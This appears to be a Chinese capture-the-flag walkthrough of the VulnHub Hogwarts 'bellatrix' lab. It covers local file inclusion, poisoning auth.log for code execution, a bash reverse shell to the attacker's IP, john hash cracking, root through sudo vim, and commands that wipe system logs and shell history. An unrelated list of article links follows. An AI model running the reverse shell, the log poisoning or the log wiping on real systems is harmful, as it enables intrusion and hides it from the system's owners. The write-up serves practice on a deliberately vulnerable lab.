vulnhub靶场【Hogwarts】之bellatrix

前言

靶机:hotwarts-dobby,ip地址为192.168.1.69

攻击:kali,ip地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

主机发现

使用arp-scan -lnetdiscover -r 192.168.1.1/24扫描发现主机

信息收集

使用nmap扫描端口

网站信息探测

访问80端口,发现界面显示一串字符,观察其规律,最后有.php,可能是一个文件

查看页面源代码,可以看到给出几个信息点,其中一句话中大概意思是,这次在源代码界面中没有东西,或许我已经告诉你一个目录,.php文件

最终去重后,发现为一个php文件ikilledsiriusblack.php

漏洞寻找

根据前面的页面源代码查询中,发现有一个文件包含,参数为file,那么测试是否可行,尝试包含文件/etc/passwd,发现可以,并发现一个用户lestrange,只是,其采用的是rbash

测试发现,只是本地文件包含,并且/etc/shadow无权限

再次尝试对网站进行目录爆破,不过并没有东西产出

那么尝试使用ffuf配合linux的一些关键目录文件进行测试,观察有哪些可以访问

ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.1.69/ikilledsiriusblack.php?file=FUZZ -fs 1728,0 
# -fs是过滤一些特定字节的网页,1728是其网站的默认字节
#这里的字典可以去github上下载一个

发现日志文件auth.log可以访问,尝试进行污染,因为该文件中在进行ssh身份认证时,会记录用户名及相关信息,所需要做的就是把用户名改成一段php代码

漏洞利用

然后尝试进行代码注入

这时候大概率已经注入成功,可以进行查看,一般都是在文件的最后位置,结合前面的信息,一般登录失败会把用户也显示,但是php作为脚本语言,并不会直接显示,判定,已经成功,记录在文件中了

那么尝试利用注入的代码,注入的代码可用

反弹shell

尝试进行一个bash反弹,获取终端

/bin/bash-c 'bash -i >& /dev/tcp/192.168.1.16/1234 >&1'
#这里最好对该语句进行URL编码处理

先在kali中使用nc开启一个监听,浏览器执行上面的语句后就会在kali中反弹成功

然后习惯性的查看当前目录下的文件,意外发现一个root所有者的目录,并且还可以查看,而且还是进行编码处理的名称

解码发现名称是secret,那就值得关注,进入到该目录,发现一个文件,查看后,发现是用户lestrange的hash

提权

水平提权至lestrange

那就简单了,这里可以直接进行hash破解,不过这里还是复习一下unshadow的使用,查看/etc/passwd中的lestrange,然后复制到kali中的一个文件,并把上面的hash也都复制到一个文件,使用unshadow整合在一起后,使用john爆破

这里需要注意,在查看目录是尽量使用ls -al,因为我这里就是因为使用kali中的字典进行爆破,但是长时间没效果,然后再次寻找的时候,发现提供了一个字典

复制该文件的内容,或者下载,怎么都行,只要把内容复制到kali中,然后使用john破解,发现密码ihateharrypotter

#复制文件/etc/passwd内容到kali中的user文件
#复制文件Swordofgryffindor内容到kali中的pass文件
#复制文件字典.sercret.dic内容到kali中的word.txt文件
#使用unshadow整合两个文件到userpass
unshadow user pass > userpass
john userpass --wordlist=word.txt 

这里图片中出现两次john是显示问题

使用用户名lestrange和密码ihateharrypotter登录ssh

查看当前目录下的文件,发现.bash_history,查看其内容

垂直提权至root

根据上面的历史命令记录,可能存在sudo提权,所以就不再使用find寻找具有SUID权限文件,直接sudo -l

发现vim,并且对应之前命令历史记录中的语句,可以直接使用,或者查看网站gtfobins.github.io中的方式

使用命令sudo vim -c ':!/bin/sh'提权,成功至root

并且有个script.sh脚本,查看发现原来是更改auth.log权限的

清理痕迹

日志清理,因为这次主要就是auth.log日志文件,所以要好好清理

sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log

历史命令记录

history -r 
history -c

总结

该靶场考察以下几点:

  1. 对于文件的发现,发现到的都要测试一下
  2. php语言的文件包含,此处使用的是include,包含时,会执行其文件
  3. 对于linux中的一些文件如何配合文件包含,这里就是身份认证日志文件auth.log,因为用户名是可控的,所以传入了脚本语言,导致造成危害
  4. 对于常见的提权,可以通过查看命令历史记录寻找其中可利用的点,或者利用suid或者sudo等提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/946459.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Kerberos用户认证-数据安全-简单了解-230403

hadoop安全模式官方文档:https://hadoop.apache.org/docs/r2.7.2/hadoop-project-dist/hadoop-common/SecureMode.html kerberos是什么 kerberos是计算机网络认证协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。 概念&#…

2025:OpenAI的“七十二变”?

朋友们,准备好迎接AI的狂欢了吗?🚀 是不是跟我一样,每天醒来的第一件事就是看看AI领域又有什么新动向? 尤其是那个名字如雷贯耳的 OpenAI,简直就是AI界的弄潮儿,一举一动都牵动着我们这些“AI发…

有什么AI辅助阅读文献工具推荐?

AI的发展速度非常快,在很多方面都已经可以提供货真价实的辅助能力。 比如AI辅助阅读方面,可以获取、分析和理解大量文献资料。这可以帮助我们快速浏览和理解PDF文件和其他文档,提高我们的工作效率和学习效率,达到降本增效。 作为…

目标检测,语义分割标注工具--labelimg labelme

1 labelimg labelimg可以用来标注目标检测的数据集, 提供多种格式的输出, 如Pascal Voc, YOLO等。 1.1 安装 pip install labelimg1.2 使用 命令行直接输入labelimg即可打开软件主界面进行操作。 使用非常简单, 不做过细的介绍&#xff0…

30天开发操作系统 第 10 天 -- 叠加处理

前言 得益于昨天的努力,我们终于可以进行内存管理了。不过仔细一看会注意到,bootpack.c都已经有254行了。笔者感觉这段程序太长了,决定整理一下,分出一部分到memory.c中去。(整理中)…好了,整理完了。现在bootpack.c变…

C语言性能优化:从基础到高级的全面指南

引言 C 语言以其高效、灵活和功能强大而著称,被广泛应用于系统编程、嵌入式开发、游戏开发等领域。然而,要写出高性能的 C 语言代码,需要对 C 语言的特性和底层硬件有深入的了解。本文将详细介绍 C 语言性能优化的背后技术,并通过…

unity学习4:git和SVN的使用差别

目录 1 svn 1.1 操作逻辑 1.2 对应工具 1.3 SVN避免冲突的好习惯 2 git 2.1 git的基础操作逻辑 2.1.1 commit时,提交文件之外的其他文件需要pull 2.1.2 commit时,发现要提交的本地文件和服务器的文件冲突了 2.1.3 pull 时 2.2 对应工具 2.3 …

2024 年博客总结

2024年 我做了个Hexo博客 ,博客地址为:https://blog.mybatis.io。 2024 年发布的文章 一共发布了 31 篇博客,平均一个月 2.6 篇。 Ollama 导入自定义模型 阅读数/评论数: 7433/5Spring AI 使用本地 Ollama Embeddings 阅读数/评论数: 5311…

Python中PDF转Word的技术

Python PDF转Word技术概述 在日常办公和数据处理中,经常需要将PDF文档转换为Word文档,以便进行编辑、修改或格式调整。Python作为一种强大的编程语言,提供了多种库和工具来实现这一功能。以下是对Python中PDF转Word技术的详细介绍。 一、技…

vue3+ts+element-plus 表单el-form取消回车默认提交

问题描述:在表单el-form中的el-input中按回车后,页面会刷新,url也会改变, 回车前: 回车后: 相关代码: 解决方法1:在 el-form 上阻止默认的 submit 事件,增加 submit.pre…

【数据结构05】排序

系列文章目录 【数据结构05】排序 . 【算法思想04】二分查找 文章目录 系列文章目录[toc] 1. 基本思想与实现1.1 插入类排序1.1.1 直接插入排序(*)1.1.2 折半插入排序1.1.3 希尔排序(*) 1.2 交换类排序1.2.1 冒泡排序&#xff08…

QT----------文件系统操作和文件读写

一、输入输出设备类 功能: Qt 提供了一系列的输入输出设备类,用于处理不同类型的 I/O 操作,如文件、网络等。 二、文件读写操作类 QFile 类: 提供了对文件的读写操作,可以打开、读取、写入和关闭文件。示例&#x…

Qt自定义步骤引导按钮

1. 步骤引导按钮 实际在开发项目过程中,由一些流程比较繁琐,为了给客户更好的交互体验,往往需要使用step1->step2这种引导对话框或者引导按钮来引导用户一步步进行设置;话不多说,先上效果 2. 实现原理 实现起来…

《Java核心技术II》流中的filter、map和flatMap方法

filter、map和flatMap方法 filter filter通过转换产生过滤后的新流,将字符串流转化为只包含长单词的另一个流。 List words ...; Stream longWords words.stream().filter(w->w.length()>12) filter类型是Predicate(谓词,表示动作)类型对象&#xff0c…

Junit4单元测试快速上手

文章目录 POM依赖引入业务层测试代码Web层测试代码生成测试类文件 在工作中我用的最多的单元测试框架是Junit4。通常在写DAO、Service、Web层代码的时候都会进行单元测试&#xff0c;方便后续编码&#xff0c;前端甩锅。 POM依赖引入 <dependency><groupId>org.spr…

FPGA自学之路:到底有多崎岖?

FPGA&#xff0c;即现场可编程门阵列&#xff0c;被誉为硬件世界的“瑞士军刀”&#xff0c;其灵活性和可编程性让无数开发者为之倾倒。但谈及FPGA的学习难度&#xff0c;不少人望而却步。那么&#xff0c;FPGA自学之路到底有多崎岖呢&#xff1f; 几座大山那么高&#xff1f;…

【Leecode】Leecode刷题之路第97天之交错字符串

题目出处 97-交错字符串-题目出处 题目描述 个人解法 思路&#xff1a; todo代码示例&#xff1a;&#xff08;Java&#xff09; todo复杂度分析 todo官方解法 97-交错字符串-官方解法 方法1&#xff1a;动态规划 思路&#xff1a; class Solution {public boolean isInte…

【微服务】【Sentinel】认识Sentinel

文章目录 1. 雪崩问题2. 解决方案3. 服务保护技术对比4. 安装 Sentinel4.1 启动控制台4.2 客户端接入控制台 参考资料: 1. 雪崩问题 微服务调用链路中的某个服务故障&#xff0c;引起整个链路中的所有微服务都不可用&#xff0c;这就是雪崩。动图演示&#xff1a; 在微服务系统…

使用 Three.js 创建几何体粒子效果

今天,带大家一起看下如何将几何体由粒子组成的效果。 通常情况下&#xff0c;Three.js 中的几何体材质会为每个面赋予一种颜色&#xff0c;这样的结果比较常见&#xff0c;如下图所示&#xff1a; 然而&#xff0c;通过将几何体由粒子组成&#xff0c;我们可以实现更加酷炫和…

shell指令

终端输入一个C源文件名&#xff08;.c结尾&#xff09;判断文件是否有内容&#xff0c;如果没有内容删除文件&#xff0c;如果有内容编译并执行改文件。 终端输入两个文件名&#xff0c;判断那个时间戳更新